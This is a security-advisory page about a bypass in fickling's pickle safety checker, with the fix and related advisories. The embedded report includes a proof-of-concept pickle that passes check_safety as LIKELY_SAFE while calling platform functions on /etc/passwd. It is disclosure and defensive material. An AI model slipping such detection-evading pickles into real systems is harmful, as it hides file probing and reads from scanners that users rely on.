GHSA-5cxw-w2xg-2m8h: fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: fickling (PyPI) 0.1.10.
Low priority for now. Upgrade to fickling (PyPI) 0.1.10 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
# Our assessment We added `platform` to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). It was not possible to inject extra arguments to `file` without first monkey-patching `platform._follow_symlinks` with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection. https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695 ```python target = _follow_symlinks(target) # "file" output is locale dependent: force the usage of the C locale # to get deterministic behavior. env = dict(os.environ, LC_ALL='C') try: # -b: do not prepend filenames to output lines (brief mode) output = subprocess.check_output(['file', '-b', target], stderr=subprocess.DEVNULL, env=env) ``` # Original report ## Summary A crafted pickle invoking `platform._syscmd_file`, `platform.architecture`, or `platform.libc_ver` passes `check_safety()` with `Severity.LIKELY_SAFE` and zero findings. During `fickling.loads()`, these functions invoke `subprocess.check_output` with attacker-controlled arguments or read arbitrary files from disk. **Clarification:** The subprocess call uses a list argument (`['file', '-b', target]`), not `shell=True`, so the attacker controls the file path argument to the `file` command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection. ## Affected versions `<= 0.1.9` (verified on upstream HEAD as of 2026-03-04) ## Non-duplication check against published Fickling GHSAs No published advisory covers `platform` module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in `UNSAFE_IMPORTS`) but covers a distinct set of functions. ## Root cause 1. `platform` not in `UNSAFE_IMPORTS` denylist. 2. `OvertlyBadEvals` skips calls imported from stdlib modules. 3. `UnusedVariables` heuristic neutralized by making call result appear used (`SETITEMS` path). ## Reproduction (clean upstream) ```python from unittest.mock import patch import fickling import fickling.fickle as op from fickling.fickle import Pickled from fickling.analysis import check_safety pickled = Pickled([ op.Proto.create(4), op.ShortBinUnicode('platform'), op.ShortBinUnicode('_syscmd_file'), op.StackGlobal(), op.ShortBinUnicode('/etc/passwd'), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode('init'), op.ShortBinUnicode('x'), op.SetItem(), op.Mark(), op.ShortBinUnicode('trace'), op.BinGet(0), op.SetItems(), op.Stop(), ]) results = check_safety(pickled) print(results.severity.name, len(results.results)) # LIKELY_SAFE 0 with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub: fickling.loads(pickled.dumps()) print('subprocess called?', mock_sub.called) # True print('args:', mock_sub.call_args[0]) # (['file', '-b', '/etc/passwd'],) ``` Additional affected functions (same pattern): - `platform.architecture('/etc/passwd')` — calls `_syscmd_file` internally - `platform.libc_ver('/etc/passwd')` — opens and reads arbitrary file contents ## Minimal patch diff ```diff --- a/fickling/fickle.py +++ b/fickling/fickle.py @@ + "platform", ``` ## Validation after patch - Same PoC flips to `LIKELY_OVERTLY_MALICIOUS` - `fickling.loads` raises `UnsafeFileError` - `subprocess.check_output` is not called ## Impact - **False-negative verdict:** `check_safety()` returns `LIKELY_SAFE` with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments. - **Subprocess invocation:** `platform._syscmd_file` calls `subprocess.check_output(['file', '-b', target])` where `target` is attacker-controlled. The `file` command reads file headers and returns type information, enabling file existence and type probing. - **File read:** `platform.libc_ver` opens and reads chunks of an attacker-specified file path.
- Published
- Mar 13, 2026
- Updated
- Mar 14, 2026
- EPSS
- —
- CWE
- CWE-184
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | fickling | pkg:pypi/fickling |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | fickling | before 0.1.10 | 0.1.10 |
Same product
PyPI: all recordsOther highest-scoring records for the same primary product.
- GHSA-r48f-3986-4f9cfickling modules linecache, difflib and gc are missing from the unsafe modules blocklist0Monitor
- GHSA-5hwf-rc88-82xmFickling missing RCE-capable modules in UNSAFE_IMPORTS0Monitor
- GHSA-wccx-j62j-r448Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked0Monitor
Published before and after this one in the same product
- ← EarlierGHSA-83pf-v6qq-pwmrFeb 20, 2026 · Fickling has a detection bypass via stdlib network-protocol constructors0Monitor
- ← EarlierGHSA-mxhj-88fx-4pcvFeb 24, 2026 · Fickling: OBJ opcode call invisibility bypasses all safety checks0Monitor
- ← EarlierGHSA-mhc9-48gj-9gp3Feb 25, 2026 · Fickling has safety check bypass via REDUCE+BUILD opcode sequence0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:fickling | 0.1.10 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- GHSA-r48f-3986-4f9c0 days apartfickling modules linecache, difflib and gc are missing from the unsafe modules blocklist0Monitor
- GHSA-5hwf-rc88-82xm9 days apartFickling missing RCE-capable modules in UNSAFE_IMPORTS0Monitor
- GHSA-mhc9-48gj-9gp316 days apartFickling has safety check bypass via REDUCE+BUILD opcode sequence0Monitor
- GHSA-83pf-v6qq-pwmr21 days apartFickling has a detection bypass via stdlib network-protocol constructors0Monitor
Not on record for this CVE: EPSS history · researcher credit · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-184 · Incomplete List of Disallowed InputsCVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Double EncodingCAPEC-120likelihood: Low · Medium
- Command DelimitersCAPEC-15likelihood: High · High
- Flash InjectionCAPEC-182likelihood: High · Medium
- Using Leading 'Ghost' Character Sequences to Bypass Input FiltersCAPEC-3likelihood: Medium · Medium
- Exploiting Multiple Input Interpretation LayersCAPEC-43likelihood: Medium · High
- Argument InjectionCAPEC-6likelihood: High · High
- Using Unicode Encoding to Bypass Validation LogicCAPEC-71likelihood: Medium · High
- User-Controlled FilenameCAPEC-73likelihood: High · High
ATT&CK techniques
—
Change log (2)
- Fix✗ → ✓
- CVSS5.5 → —
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.